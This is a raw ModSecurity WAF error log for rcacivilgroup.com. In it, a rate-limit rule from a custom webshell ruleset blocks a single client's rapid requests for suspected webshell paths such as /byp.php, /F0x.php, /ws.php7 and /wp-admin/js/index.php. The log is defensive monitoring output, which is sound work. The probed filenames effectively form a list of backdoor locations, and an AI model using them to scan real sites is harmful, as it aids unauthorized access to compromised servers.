[Tue Mar 24 05:29:06.948572 2026] [:error] [pid 3030:tid 3072] [client 172.213.136.15:36041] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp.php"] [unique_id "acGwogyOuILyynfcqfnzUgAAABc"]
[Tue Mar 24 05:29:08.172963 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:34286] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "acGwpPwkUqN4GJAI5oVvRAAAARg"]
[Tue Mar 24 05:29:08.979467 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:41416] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "acGwpPwkUqN4GJAI5oVvSAAAAQs"]
[Tue Mar 24 05:29:10.390262 2026] [:error] [pid 3032:tid 3119] [client 172.213.136.15:23623] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "acGwpia_-JXXD03-JNzDbwAAAJA"]
[Tue Mar 24 05:29:11.265168 2026] [:error] [pid 3032:tid 3106] [client 172.213.136.15:27067] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "acGwpya_-JXXD03-JNzDdQAAAIM"]
[Tue Mar 24 05:29:11.960070 2026] [:error] [pid 3032:tid 3110] [client 172.213.136.15:25265] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/F0x.php"] [unique_id "acGwpya_-JXXD03-JNzDeQAAAIc"]
[Tue Mar 24 05:29:30.366708 2026] [:error] [pid 3032:tid 3120] [client 172.213.136.15:22228] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php7"] [unique_id "acGwuia_-JXXD03-JNzDoQAAAJE"]
[Tue Mar 24 05:29:32.626670 2026] [:error] [pid 3030:tid 3068] [client 172.213.136.15:27711] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php7"] [unique_id "acGwvAyOuILyynfcqfnzYgAAABM"]
[Tue Mar 24 05:29:33.452927 2026] [:error] [pid 3032:tid 3117] [client 172.213.136.15:24134] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php7"] [unique_id "acGwvSa_-JXXD03-JNzDqQAAAI4"]
[Tue Mar 24 05:29:34.380940 2026] [:error] [pid 38767:tid 38770] [client 172.213.136.15:41417] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php7"] [unique_id "acGwvvwkUqN4GJAI5oVvbgAAAQA"]
[Tue Mar 24 05:29:34.970161 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:24169] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/updates.php"] [unique_id "acGwvvwkUqN4GJAI5oVvcAAAARU"]
[Tue Mar 24 05:29:36.485056 2026] [:error] [pid 3031:tid 3093] [client 172.213.136.15:22228] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/updates.php"] [unique_id "acGwwKJBKytnG47nuibYNgAAAFE"]
[Tue Mar 24 05:29:37.730736 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:27046] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/updates.php"] [unique_id "acGwwfwkUqN4GJAI5oVvdQAAAQQ"]
[Tue Mar 24 05:29:39.068956 2026] [:error] [pid 3031:tid 3093] [client 172.213.136.15:27706] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/updates.php"] [unique_id "acGww6JBKytnG47nuibYQgAAAFE"]
[Tue Mar 24 05:29:40.852488 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:48189] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vxnxvgfw.php"] [unique_id "acGwxPwkUqN4GJAI5oVvegAAARU"]
[Tue Mar 24 05:29:42.274132 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:32179] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vxnxvgfw.php"] [unique_id "acGwxvwkUqN4GJAI5oVvfAAAAQ8"]
[Tue Mar 24 05:29:43.137296 2026] [:error] [pid 3032:tid 3115] [client 172.213.136.15:44580] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vxnxvgfw.php"] [unique_id "acGwxya_-JXXD03-JNzDtQAAAIw"]
[Tue Mar 24 05:29:44.821368 2026] [:error] [pid 38767:tid 38782] [client 172.213.136.15:21310] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vxnxvgfw.php"] [unique_id "acGwyPwkUqN4GJAI5oVvhAAAAQw"]
[Tue Mar 24 05:29:45.621419 2026] [:error] [pid 3032:tid 3108] [client 172.213.136.15:44604] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mapi.php"] [unique_id "acGwySa_-JXXD03-JNzDvQAAAIU"]
[Tue Mar 24 05:29:47.926129 2026] [:error] [pid 3137:tid 3150] [client 172.213.136.15:21287] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mapi.php"] [unique_id "acGwy5dZesutm6dfYM_dCgAAAMs"]
[Tue Mar 24 05:29:48.874889 2026] [:error] [pid 3137:tid 3145] [client 172.213.136.15:21110] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mapi.php"] [unique_id "acGwzJdZesutm6dfYM_dDwAAAMY"]
[Tue Mar 24 05:29:49.609018 2026] [:error] [pid 38767:tid 38770] [client 172.213.136.15:33255] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mapi.php"] [unique_id "acGwzfwkUqN4GJAI5oVvlwAAAQA"]
[Tue Mar 24 05:29:50.770130 2026] [:error] [pid 3137:tid 3140] [client 172.213.136.15:22432] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f2r4.php"] [unique_id "acGwzpdZesutm6dfYM_dFgAAAME"]
[Tue Mar 24 05:29:51.964473 2026] [:error] [pid 3032:tid 3111] [client 172.213.136.15:22256] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f2r4.php"] [unique_id "acGwzya_-JXXD03-JNzDzAAAAIg"]
[Tue Mar 24 05:29:52.680003 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:24632] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f2r4.php"] [unique_id "acGw0Ca_-JXXD03-JNzDzwAAAIA"]
[Tue Mar 24 05:29:53.708703 2026] [:error] [pid 3032:tid 3113] [client 172.213.136.15:23417] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f2r4.php"] [unique_id "acGw0Sa_-JXXD03-JNzD0gAAAIo"]
[Tue Mar 24 05:29:54.867780 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:37072] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/item.php"] [unique_id "acGw0vwkUqN4GJAI5oVvsgAAARg"]
[Tue Mar 24 05:29:56.215493 2026] [:error] [pid 3030:tid 3050] [client 172.213.136.15:26537] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/item.php"] [unique_id "acGw1AyOuILyynfcqfnzawAAAAE"]
[Tue Mar 24 05:29:57.251459 2026] [:error] [pid 3031:tid 3088] [client 172.213.136.15:37819] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/item.php"] [unique_id "acGw1aJBKytnG47nuibYTwAAAEw"]
[Tue Mar 24 05:29:58.124627 2026] [:error] [pid 3032:tid 3119] [client 172.213.136.15:37763] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/item.php"] [unique_id "acGw1ia_-JXXD03-JNzD1wAAAJA"]
[Tue Mar 24 05:29:59.810353 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:28729] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/assets/v3.php"] [unique_id "acGw1ya_-JXXD03-JNzD2gAAAIA"]
[Tue Mar 24 05:30:01.333783 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:26337] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/assets/v3.php"] [unique_id "acGw2fwkUqN4GJAI5oVvvwAAAQI"]
[Tue Mar 24 05:30:03.066628 2026] [:error] [pid 3032:tid 3120] [client 172.213.136.15:21297] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/assets/v3.php"] [unique_id "acGw2ya_-JXXD03-JNzD2wAAAJE"]
[Tue Mar 24 05:30:04.254132 2026] [:error] [pid 3030:tid 3069] [client 172.213.136.15:33225] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/assets/v3.php"] [unique_id "acGw3AyOuILyynfcqfnzbgAAABQ"]
[Tue Mar 24 05:30:05.208774 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:28705] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xse25.php"] [unique_id "acGw3ZdZesutm6dfYM_dSgAAAMA"]
[Tue Mar 24 05:30:06.307510 2026] [:error] [pid 3032:tid 3116] [client 172.213.136.15:22047] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xse25.php"] [unique_id "acGw3ia_-JXXD03-JNzD3gAAAI0"]
[Tue Mar 24 05:30:07.372575 2026] [:error] [pid 3032:tid 3122] [client 172.213.136.15:23397] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xse25.php"] [unique_id "acGw3ya_-JXXD03-JNzD4wAAAJM"]
[Tue Mar 24 05:30:08.376375 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:29770] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xse25.php"] [unique_id "acGw4JdZesutm6dfYM_dVAAAANM"]
[Tue Mar 24 05:30:09.743711 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:35071] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf9.php"] [unique_id "acGw4Sa_-JXXD03-JNzD6AAAAIA"]
[Tue Mar 24 05:30:11.245210 2026] [:error] [pid 3031:tid 3080] [client 172.213.136.15:38124] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf9.php"] [unique_id "acGw46JBKytnG47nuibYYwAAAEQ"]
[Tue Mar 24 05:30:12.724946 2026] [:error] [pid 38767:tid 38782] [client 172.213.136.15:21084] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf9.php"] [unique_id "acGw5PwkUqN4GJAI5oVv2QAAAQw"]
[Tue Mar 24 05:30:13.544488 2026] [:error] [pid 3031:tid 3078] [client 172.213.136.15:29259] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf9.php"] [unique_id "acGw5aJBKytnG47nuibYZQAAAEI"]
[Tue Mar 24 05:30:14.500934 2026] [:error] [pid 3137:tid 3160] [client 172.213.136.15:27612] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5b9ac.php"] [unique_id "acGw5pdZesutm6dfYM_dZwAAANU"]
[Tue Mar 24 05:30:15.817670 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:35013] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5b9ac.php"] [unique_id "acGw5ya_-JXXD03-JNzD8QAAAIA"]
[Tue Mar 24 05:30:17.972004 2026] [:error] [pid 3032:tid 3117] [client 172.213.136.15:25790] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5b9ac.php"] [unique_id "acGw6Sa_-JXXD03-JNzD-wAAAI4"]
[Tue Mar 24 05:30:19.859154 2026] [:error] [pid 3137:tid 3143] [client 172.213.136.15:25791] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5b9ac.php"] [unique_id "acGw65dZesutm6dfYM_deAAAAMQ"]
[Tue Mar 24 05:30:20.770746 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:23887] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "acGw7Ca_-JXXD03-JNzD_wAAAIA"]
[Tue Mar 24 05:30:21.819686 2026] [:error] [pid 3137:tid 3162] [client 172.213.136.15:21434] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "acGw7ZdZesutm6dfYM_dfQAAANc"]
[Tue Mar 24 05:30:22.746073 2026] [:error] [pid 3137:tid 3144] [client 172.213.136.15:25757] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "acGw7pdZesutm6dfYM_dgQAAAMU"]
[Tue Mar 24 05:30:23.878591 2026] [:error] [pid 3032:tid 3109] [client 172.213.136.15:24791] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "acGw7ya_-JXXD03-JNzEBgAAAIY"]
[Tue Mar 24 05:30:25.056698 2026] [:error] [pid 3030:tid 3062] [client 172.213.136.15:7149] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "acGw8QyOuILyynfcqfnzgAAAAA0"]
[Tue Mar 24 05:30:26.724011 2026] [:error] [pid 3137:tid 3144] [client 172.213.136.15:37869] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "acGw8pdZesutm6dfYM_djQAAAMU"]
[Tue Mar 24 05:30:27.706990 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:30997] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "acGw85dZesutm6dfYM_dkQAAAMo"]
[Tue Mar 24 05:30:43.752920 2026] [:error] [pid 3032:tid 3118] [client 172.213.136.15:7108] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acGxAya_-JXXD03-JNzEIgAAAI8"]
[Tue Mar 24 05:30:44.765977 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:23266] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acGxBPwkUqN4GJAI5oVwAAAAAQM"]
[Tue Mar 24 05:30:47.060071 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:27222] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acGxB_wkUqN4GJAI5oVwOAAAARU"]
